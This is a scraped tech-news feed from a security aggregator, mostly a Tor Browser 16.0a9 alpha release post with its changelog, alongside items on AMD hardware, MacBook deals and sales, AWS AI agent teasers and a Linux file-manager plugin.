<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[New Alpha Release: Tor Browser 16.0a9]]></title>
<description><![CDATA[Tor Browser 16.0a9 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for gene...]]></description>
<link>https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</guid>
<pubDate>Thu, 23 Jul 2026 20:25:02 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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    <div class="body"><p>Tor Browser 16.0a9 is now available from the <a href="https://www.torproject.org/download/alpha/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/16.0a9/">distribution directory</a>.</p>
<p>This version includes important <a href="https://www.mozilla.org/en-US/security/advisories/">security updates</a> to Firefox.</p>
<p>⚠️ <strong>Reminder</strong>: The Tor Browser Alpha release-channel is for <a href="https://community.torproject.org/user-research/become-tester/">testing only</a>. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.</p>
<p>Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post.</p>
<p>If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the <a href="https://www.torproject.org/download/">stable release channel</a>.</p>
<h2>It's ESR transition season again!</h2>
<p>Well actually, it has been ESR transition season throughout this entire release cycle! As described in the aforementioned <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post, we have been incrementally rebasing our Alpha channel on Firefox betas since December of last year. As a result, we now stand before you with Tor Browser 16.0a9 which is based on Firefox ESR 153.</p>
<p>We will continue rebasing Tor Browser 17.0 Alpha branches on Firefox betas throughout the remainder of the Tor Browser 16.0 release cycle. However, new feature-work for now must be put on hold for a few reasons:</p>
<ul>
<li>We must focus our attention on resolving our Bugzilla Audit issues to ensure the features we have inherited from upstream comply Tor Browser's <a href="https://gitlab.torproject.org/tpo/applications/wiki/-/wikis/Design-Documents/Tor-Browser-Design-Doc">threat model</a> and to patch any changes which do not.</li>
<li>Feature work targeting 16.0 stable would need to be cherry-pick'd onto our 17.0 Alpha branches to ensure we don't lose any work. The more invasive a feature patch is, the harder it will be to port to newer versions. This would also be a potentially error-prone process and there is some risk we would lose patches along the way.</li>
<li>We need to finish stabilizing as soon as possible as we have hard external deadlines which cannot be moved: the end-of-life of Firefox ESR 140 on October 13th and the Google Play Minimum Target API Level requirement on November 1st</li>
</ul>
<h2>Challenges and Triumphs</h2>
<h3>💍 Sharing the Load</h3>
<p>Rebasing the hundreds of Tor Browser patches onto newer versions of Firefox is a challenging task. It is like maintaining the structural stability of sand-castle at high-tide with the waves crashing all around you.</p>
<p>As such, it quickly become clear early in this new process that we would need to do something if we wanted to avoid burning out the few developers typically involved in this work. To mitigate this, we shared the knowledge internally and spread the work out across all eight members of the team. This way, each developer was only responsible for at most two or three rebases throughout the entire release cycle.</p>
<h3>🎨 UI Code Churn</h3>
<p>Over the past year, Firefox has developed and integrated two major changes to the UI in Firefox: a <a href="https://blog.mozilla.org/en/firefox/firefox-settings/">redesign</a> of about:preferences in Firefox Desktop and a <a href="https://www.androidsage.com/2026/02/24/firefox-browser-updated-with-new-ui-and-material-3-expressive-hint/">migration</a> from Material 2 to Material 3 in Firefox Android.</p>
<p>Adapting to these types of changes to the frontend are typically rather time-consuming for us, as many (if not the majority) of our patches modify Firefox's UI in some way. For example, we have an entire preferences page on Tor Browser desktop dedicated to configuring how the browser connects to the Tor Network. On Android, we similarly have various additions to the menus, configuration options, and custom UI.</p>
<p>Whenever Mozilla modifies their design systems and Firefox's user interface, we necessarily have to adapt our own custom additions to match. Otherwise, our Tor Browser-specific UI elements would look completely out of place and potentially confuse users (as well as simply looking unprofessional). Therefore, each of these upstream changes requires collaboration with the Tor Project's UX team to update our features' designs and of course development time to implement.</p>
<p>In addition to the time-cost associated with the extra engineering and UX collaboration, very often our old patches simply do not apply cleanly due to the amount of code which has changed. For example, the about:preferences changes on Firefox Desktop are essentially a complete re-write which means we also have to completely re-write our own settings changes without regressing in functionality.</p>
<p>On the plus side, one benefit of our new processes is that we have been able to spread out this work over the entire release cycle. In the past way of doing things, we would have discovered all UX elements which needed to be fixed, updated our designs, and re-implemented in the course of a few months during the old ESR transition season. Under this new way of working, we have been able to incrementally fix things throughout the development cycle.</p>
<p>The benefits of working this way does not just apply to UX of course. It is much easier to find regressions across the entire stack when rebasing between one major Firefox version at a time instead of across 12 or 13. It is also <em>much</em> easier for developers to fix individual regressions one at a time compared to diagnosing, disentangling, and fixing multiple bugs concurrently (divide et impera!).</p>
<h3>⚙️ Pending Google Target API Level Requirements</h3>
<p>Every year, Google requires new Android app releases to target an updated minimum API level. This means, we would not be able to upload new versions of Tor Browser Stable past a certain date (usually August 1st with an extension to November 1st typically possible) without first updating the app to support the new minimum target API level. Fortunately, we inherit most of the required changes from Mozilla when rebasing to the next major ESR.</p>
<p>However, this requirement does impose a hard deadline for the absolute latest we can responsibly stabilize Tor Browser Alpha and promote it to Stable. We've been fortunate in the past few years to make the deadline with a few days to spare (October 28th for Tor Browser 15, October 22nd for Tor Browser 14, etc). Given how far ahead of the curve we are this year, we are hoping to release about a month earlier in September (fingers crossed!).</p>
<h3>🤖 Android APKs too big</h3>
<p>The Google Play Store has a strict size limit of about 100 megabytes for Android applications. New functionality added to Firefox Android over the past year means a larger application which results in new headaches for Tor Browser developers. This release cycle was no exception to this rule and we have had to get <em>creative</em> with our size reductions.</p>
<p>In the past, we have been able reduce our package size though various methods including:</p>
<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/41500">Using custom size-reducing compiler flags</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/-41407">Compiling multiple pluggable-transports into a single unified binary to de-duplicate shared dependencies</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42386">Removing unused Firefox assets from the build</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42669">Replacing unused (but still linked) libraries with no-op stubs</a></li>
<li>and <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42607">countless other methods over there years</a></li>
</ul>
<p>Our most recent effort has been the most invasive yet! For some background, the Firefox application consists of (among other things): various shared libraries, the Firefox executable, a library known as 'xul' which contains most of Firefox's natively compiled functionality, and finally a file known as <code>omni.ja</code>. This <code>omni.ja</code> file is a <code>zip</code> archive which contains the JavaScript, HTML, images, and other assets used in Firefox.</p>
<p>This time around, to reduce the size of our Android package we have<a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45086">changed how this archive is compressed</a>. We modified the Firefox build system to compress this archive with <code>xz</code> and we modified Firefox itself to decompress this archive at runtime. This work did require a few iterations to get right. In the end, we got back about 3 megabytes with these changes and got us once again under Google's imposed size budget.</p>
<h3>📉 Even Less Telemetry</h3>
<p>Over the years, we have worked to incrementally remove dependencies from Tor Browser Android as part of the aforementioned size reduction work. We of course inherit most of these dependencies from Firefox Android and unfortunately some of them can be labeled as 'trackers'. While we do disable telemetry by default at runtime, the code which implements it remains in the codebase.</p>
<p>We're happy to report that as of Tor Browser 16.0a8, are down to only 1 'tracker' library in the Tor Browser Android codebase: <code>Mozilla Telemetry</code>. Again, this telemetry <em>is</em> disabled at runtime, but this is one more unused dependency which we can <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/41295">hopefully remove in the future</a> (and maybe get some more bytes back!).</p>
<h2>Current Status</h2>
<p>We have:</p>
<ul>
<li>incrementally rebased Tor Browser and Tor Browser for Android to Firefox ESR 153 from Firefox ESR 140</li>
<li>updated the build systems with the latest dependencies and fixed a few reproducibility issues</li>
<li>triaged <em>most</em> of the upstream changes from the past year and flagged over 250 issues for further review (triaging of Firefox 153 is in progress)</li>
<li>resolved about half of these triaged issues</li>
</ul>
<p>For the remainder of this release cycle, we will be focusing on auditing these issues and fixing bugs until the 16.0 alpha series is ready to become Tor Browser Stable 16.0. We are optimistically targeting a September release, which would put us one month ahead of schedule compared to last year.</p>
<h2>Known Issues</h2>
<h3>🦊 Firefox Branding</h3>
<p>In some places in the browser there may be Firefox branding (e.g. logos, cute little foxes, etc) instead of Tor Browser branding. We're currently tracking one known instance in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/44998">tor-browser#44998</a>. If you discover any other instances lurking about, please <a href="https://support.torproject.org/misc/bug-or-feedback/">open an issue</a>!</p>
<h3>🌐 All websites marked 'insecure' on Tor Browser Android</h3>
<p>Currently, the identity block in the URL bar on Tor Browser Android will always report insecure (e.g. a shield icon with a slash through it). For now, you can tap this icon and verify the certificate manually. This issue is being tracked in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45115">tor-browser#45115</a></p>
<h2>Send us your feedback</h2>
<p>Now is a great time to <a href="https://blog.torproject.org/vounteer-as-an-alpha-tester/">become an alpha tester</a>! If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/main/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 16.0a8 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated NoScript to 13.6.30.90201984</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43819">Bug tor-browser#43819</a>: Show custom security level on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44748">Bug tor-browser#44748</a>: Revert Funding the Commons Implementations</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44811">Bug tor-browser#44811</a>: Remove the lock on pdfjs.disable.</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45101">Bug tor-browser#45101</a>: Rebase Tor Browser onto 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45131">Bug tor-browser#45131</a>: Security level is using an unsafe getBoolPref</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41831">Bug tor-browser-build#41831</a>: Update libevent to 2.1.13</li>
</ul>
</li>
<li>Windows + macOS + Linux<ul>
<li>Updated Firefox to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44439">Bug tor-browser#44439</a>: Remove translate action from urlbar</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44883">Bug tor-browser#44883</a>: Remove urlbar quick action for labs</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45029">Bug tor-browser#45029</a>: Convert connection status settings to new design and config approach</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45055">Bug tor-browser#45055</a>: Rename --color-gray-05 to --color-gray-0</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45081">Bug tor-browser#45081</a>: Use the new "Acorn" icons on desktop</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45110">Bug tor-browser#45110</a>: Disable the settings redesign until ready for us</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45112">Bug tor-browser#45112</a>: Missing CSS border tokens in 153</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45132">Bug tor-browser#45132</a>: nsAppFileLocationProvider.cpp: use of undeclared identifier 'XRE_EXECUTABLE_FILE'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41800">Bug tor-browser-build#41800</a>: Create a script that adapts the Tor Browser manual HTMLs to work in Tor Browser</li>
</ul>
</li>
<li>macOS<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45108">Bug tor-browser#45108</a>: Artifact generation fails due to missing .DS_Store in the branding directories</li>
</ul>
</li>
<li>Android<ul>
<li>Updated GeckoView to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43820">Bug tor-browser#43820</a>: Use SecurityLevel integration on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44157">Bug tor-browser#44157</a>: Remove secret setting toggle for Tab Management Redesign</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45045">Bug tor-browser#45045</a>: Remove moz asset in Downloads screen</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45103">Bug tor-browser#45103</a>: Disable broken "tab management"</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45109">Bug tor-browser#45109</a>: No value passed for parameter 'jsEnabled'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45118">Bug tor-browser#45118</a>: Audit and disable Mozilla VPN promo</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45130">Bug tor-browser#45130</a>: Clean up TorHomePage padding</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41838">Bug tor-browser-build#41838</a>: Update personal_access_tokens URL in tools/fetch_changelogs.py</li>
</ul>
</li>
<li>Windows + Linux + Android<ul>
<li>Updated Go to 1.26.5</li>
</ul>
</li>
<li>Windows<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41819">Bug tor-browser-build#41819</a>: Fix windows-rs URL in projects/firefox/config</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
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<title><![CDATA[Apple's MacBook Pro with 48GB RAM drops to $2,699, saving you $400]]></title>
<description><![CDATA[Apple's current 14-inch MacBook Pro with an M5 Pro chip and upgrade to 48GB of RAM is $400 off during B&H's month-end sale, but supply is limited at the reduced price.Save $400 on Apple's 14-inch MacBook Pro with an upgrade to 48GB RAM - Image credit: AppleB&H is slashing $400 off Apple's latest ...]]></description>
<link>https://tsecurity.de/de/3689783/ios-mac-os/apples-macbook-pro-with-48gb-ram-drops-to-2699-saving-you-400/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689783/ios-mac-os/apples-macbook-pro-with-48gb-ram-drops-to-2699-saving-you-400/</guid>
<pubDate>Thu, 23 Jul 2026 19:02:16 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple's current 14-inch MacBook Pro with an M5 Pro chip and upgrade to 48GB of RAM is $400 off during B&amp;H's month-end sale, but supply is limited at the reduced price.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68342-144047-macbook-pro-48gb-ram-deal-xl.jpg" alt="Open MacBook Pro 14-inch laptop on dark background with colorful gradient glow, large bold white text across the screen reading 48GB RAM DEAL, suggesting a promotional offer for a highmemory computer" height="720"><br><span>Save $400 on Apple's 14-inch MacBook Pro with an upgrade to 48GB RAM - Image credit: Apple</span></div><br>B&amp;H is <strong><a href="https://www.bhphotovideo.com/c/product/1957032-REG/apple_mbp_m5p_03_14_macbook_pro_m5.html/BI/1717/KBID/2301/SID/da-macp-14in-m5-pro-48gb-2699-072326" rel="nofollow" target="_blank">slashing $400 off</a></strong> Apple's latest 14-inch MacBook Pro with an upgrade to 48GB of RAM. Released in March 2026, the M5 Pro 14-inch MacBook Pro features higher unified memory bandwidth compared to the last-gen model and is equipped with Apple's N1 chip for Wi-Fi 7 and Bluetooth 6 support.<br><br><a href="https://www.bhphotovideo.com/c/product/1957032-REG/apple_mbp_m5p_03_14_macbook_pro_m5.html/BI/1717/KBID/2301/SID/da-macp-14in-m5-pro-48gb-2699-btn-072326" rel="nofollow" class="deal-highlight">Save $400 on 14" MacBook Pro 48GB RAM</a><br><br><br> <a href="https://appleinsider.com/articles/26/07/23/apples-macbook-pro-with-48gb-ram-drops-to-2699-saving-you-400?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245039?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Building multi-Region visualizations with Highcharts in Amazon Quick]]></title>
<description><![CDATA[This post shows you how to build multi-Region carrier performance dashboards in Quick Sight using Highcharts custom visualizations to overcome native chart limitations. You will learn how to maintain data sovereignty across AWS Regions while creating unified visualizations through the Quick Sight...]]></description>
<link>https://tsecurity.de/de/3689761/ai-nachrichten/building-multi-region-visualizations-with-highcharts-in-amazon-quick/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689761/ai-nachrichten/building-multi-region-visualizations-with-highcharts-in-amazon-quick/</guid>
<pubDate>Thu, 23 Jul 2026 18:54:48 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This post shows you how to build multi-Region carrier performance dashboards in Quick Sight using Highcharts custom visualizations to overcome native chart limitations. You will learn how to maintain data sovereignty across AWS Regions while creating unified visualizations through the Quick Sight federated dataset capability. The solution includes production-ready chart configurations and addresses security, compliance, and scalability requirements.]]></content:encoded>
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<title><![CDATA[Building trade assistant: How Jefferies optimized front office trading operations with AI]]></title>
<description><![CDATA[In this post, we explore how Jefferies overcame these challenges with a solution built on Strands Agents, an agent harness SDK for building AI agents that can reason, plan, and act by orchestrating calls to foundation models (FMs) and external tools. The solution uses large language models (LLMs)...]]></description>
<link>https://tsecurity.de/de/3689760/ai-nachrichten/building-trade-assistant-how-jefferies-optimized-front-office-trading-operations-with-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689760/ai-nachrichten/building-trade-assistant-how-jefferies-optimized-front-office-trading-operations-with-ai/</guid>
<pubDate>Thu, 23 Jul 2026 18:54:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we explore how Jefferies overcame these challenges with a solution built on Strands Agents, an agent harness SDK for building AI agents that can reason, plan, and act by orchestrating calls to foundation models (FMs) and external tools. The solution uses large language models (LLMs), Amazon Bedrock, and Amazon Bedrock Knowledge Bases. It also uses Model Context Protocol (MCP), an open standard that helps AI agents securely connect to diverse data sources and tools through a unified interface. We cover the solution overview, the rationale for selecting the underlying technology stack, lessons learned, and the business impact the solution created at Jefferies.]]></content:encoded>
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<title><![CDATA[Unitree's Latest AI Could Make Home Humanoid Robots More Practical]]></title>
<description><![CDATA[Unitree has unveiled UnifoLM-OminiA-0.3, a unified embodied AI model designed to help humanoid robots perform household and care-related tasks.]]></description>
<link>https://tsecurity.de/de/3689697/it-nachrichten/unitrees-latest-ai-could-make-home-humanoid-robots-more-practical/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689697/it-nachrichten/unitrees-latest-ai-could-make-home-humanoid-robots-more-practical/</guid>
<pubDate>Thu, 23 Jul 2026 18:35:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Unitree has unveiled UnifoLM-OminiA-0.3, a unified embodied AI model designed to help humanoid robots perform household and care-related tasks.]]></content:encoded>
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<title><![CDATA[MacBook Neo’s success wasn’t luck, it was a plan]]></title>
<description><![CDATA[It’s difficult to ignore the fact that Apple seems to have turned its MacBook Neo into a weapon to promote platform growth, with enough performance under the hood to make competitors seem inferior.



And even as the PC industry moves to try to compete with Apple’s last huge Mac success, the comp...]]></description>
<link>https://tsecurity.de/de/3689195/ai-nachrichten/macbook-neos-success-wasnt-luck-it-was-a-plan/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689195/ai-nachrichten/macbook-neos-success-wasnt-luck-it-was-a-plan/</guid>
<pubDate>Thu, 23 Jul 2026 15:22:56 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">It’s difficult to ignore the fact that Apple seems to have <a href="https://www.computerworld.com/article/4180406/after-a-quick-1-1m-sales-macbook-neo-set-to-reshape-the-pc-industry.html">turned its MacBook Neo into a weapon</a> to promote platform growth, with enough performance under the hood to make competitors seem inferior.</p>



<p class="wp-block-paragraph">And even as the PC industry moves to try to compete with Apple’s last <a href="https://www.applemust.com/macbook-neo-continues-to-top-amazon-laptop-charts-in-us-uk/" target="_blank" rel="noreferrer noopener">huge Mac success</a>, the company is already planning a powerful follow-up.</p>



<p class="wp-block-paragraph">That points to the discipline Apple has applied to the Mac since the introduction of Apple Silicon. The company has built a clear product roadmap, strong entry-level pricing, and steady performance gains. This focus is now paying dividends, giving people the impetus to keep placing their trust in Apple and its Macs — even as the industry raises prices in the face of RAMageddon and price increases. </p>



<h2 class="wp-block-heading"><strong>The numbers don’t lie</strong></h2>



<p class="wp-block-paragraph">“Apple’s recent price increase seems to be an inevitable response to these cost increases. In the second half of the year, other PC OEMs are expected to continue to raise prices, and the overall ASP increase is expected to continue,” Counterpoint said. The researcher tells us global PC shipments shrank 4% in the second quarter of 2026 as rising costs hit demand. The Mac maker, by contrast, moved in the opposite direction, generating 13% growth in the quarter — mainly on the back of the MacBook Neo introduction. </p>



<p class="wp-block-paragraph"><a href="https://www.idc.com/resource-center/press-releases/2q26-pc-top5/" target="_blank">Recent IDC data</a> gives Apple 10.1% year-over-year growth and just under 10% (9.9% to be exact) of the worldwide PC market, even as the overall market declined 4.9%.</p>



<p class="wp-block-paragraph">“With emerging supply chain and tariff challenges inflating memory prices…, Apple’s incredibly aggressive price-point for the MacBook Neo makes its release feel all the more like a gut punch to one of the PC market’s most valuable price tiers,” Futurum Research Director <a href="https://www.computerworld.com/article/4143010/apples-macbook-neo-first-reviews-and-analyst-reactions.html" data-type="link" data-id="https://www.computerworld.com/article/4143010/apples-macbook-neo-first-reviews-and-analyst-reactions.html">Olivier Blanchard said when the Neo was released</a>. </p>



<h2 class="wp-block-heading"><strong>Neo 2.0 is already coming</strong></h2>



<p class="wp-block-paragraph">In the immediate future, as competitors raise prices on the PCs that compete with Apple’s lower-cost device, Cupertino is <a href="https://www.culpium.com/p/apple-in-talks-to-boost-mac-neo-production" target="_blank" rel="noreferrer noopener">already plotting</a> the path toward <a href="https://www.bloomberg.com/news/articles/2026-07-22/apple-to-launch-new-macbook-air-imac-macbook-pro-neo-mac-mini-mac-studio" target="_blank" rel="noreferrer noopener">MacBook Neo 2.</a> Reports claim this will debut in March in new colors and use the A19 Pro chip from the iPhone 17 Pro, with performance boosted by slightly more unified memory (12GB, rather than 8GB). That’ll make it a much better Mac, likely with 10-15% performance gains and the ability to run Apple Intelligence, making it the best and most affordable AI PC in its class.</p>



<p class="wp-block-paragraph">Just four months after the Neo’s rollout, Apple is already in position to leak rumors of an even more computationally capable follow-up, while competitors struggle to compete with the original on performance, build quality, and price. Still, the Neo might get more expensive, reporting warns, with the lowest-price 256GB model now gone, making the $599 Mac a mirage we can only wistfully hope to see again. </p>



<p class="wp-block-paragraph">That might matter less in context, as PC makers everywhere boost prices while RAM, chips, and storage prices head north, along with transport, logistics, and energy costs. “While [Apple] did raise prices in line with the broader market, it still remains well positioned against rivals facing the same cost pressures,” said Jean Philippe Bouchard, vice president for consumer devices at IDC. </p>



<p class="wp-block-paragraph">“As market conditions continue to worsen, the importance of supply chain management and capabilities are increasingly important,” Bouchard said. “The largest vendors, with their buying power and long-standing supplier ties, are best positioned to take share from smaller rivals.”</p>



<h2 class="wp-block-heading"><strong>This was never about luck</strong></h2>



<p class="wp-block-paragraph">This isn’t solely a market take about competition, it’s about planning.</p>



<p class="wp-block-paragraph">Few in the industry seemed prepared for the massive memory price increases that hit this year. Apple clearly planned its low-cost Mac well before that happened, hoping to seize the PC market at the low-mid-range. This is precisely what it seems to have done, what it continues to do, and what it will continue to do.</p>



<p class="wp-block-paragraph">The recent reports that it has a successor planned shows the breadth of the Mac company’s strategic vision, as Apple has quite clearly sought to fully exploit the failings of Windows and the internal contradictions of a value-conscious industry in stiff competition with itself.</p>



<p class="wp-block-paragraph">With the first M-series Macs about to enter the replacement cycle, Apple has built a market it can capitalize on for at least a decade, meaning it already has a vision for PC sales that extends at least as far. That’s the kind of road map corporate purchasers want when they make platform deployment decisions, which is why Apple’s 10% share gains are the beginning of <a href="https://www.computerworld.com/article/4150717/hexnode-ceo-macbook-neo-forces-it-to-rethink-its-budget-laptop-strategy.html">even more significant market change</a>. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to my daily Apple-related news summaries at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Getting Windows-Like &quot;My Computer&quot; Feel on Linux File Manager]]></title>
<description><![CDATA[Get a beautiful, unified view of what drives and locations are on your computer in Nautilus file manager with this plugin.]]></description>
<link>https://tsecurity.de/de/3687949/unix-server/getting-windows-like-quotmy-computerquot-feel-on-linux-file-manager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687949/unix-server/getting-windows-like-quotmy-computerquot-feel-on-linux-file-manager/</guid>
<pubDate>Thu, 23 Jul 2026 06:15:45 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Get a beautiful, unified view of what drives and locations are on your computer in Nautilus file manager with this plugin.]]></content:encoded>
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<title><![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]></title>
<description><![CDATA[You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a ...]]></description>
<link>https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
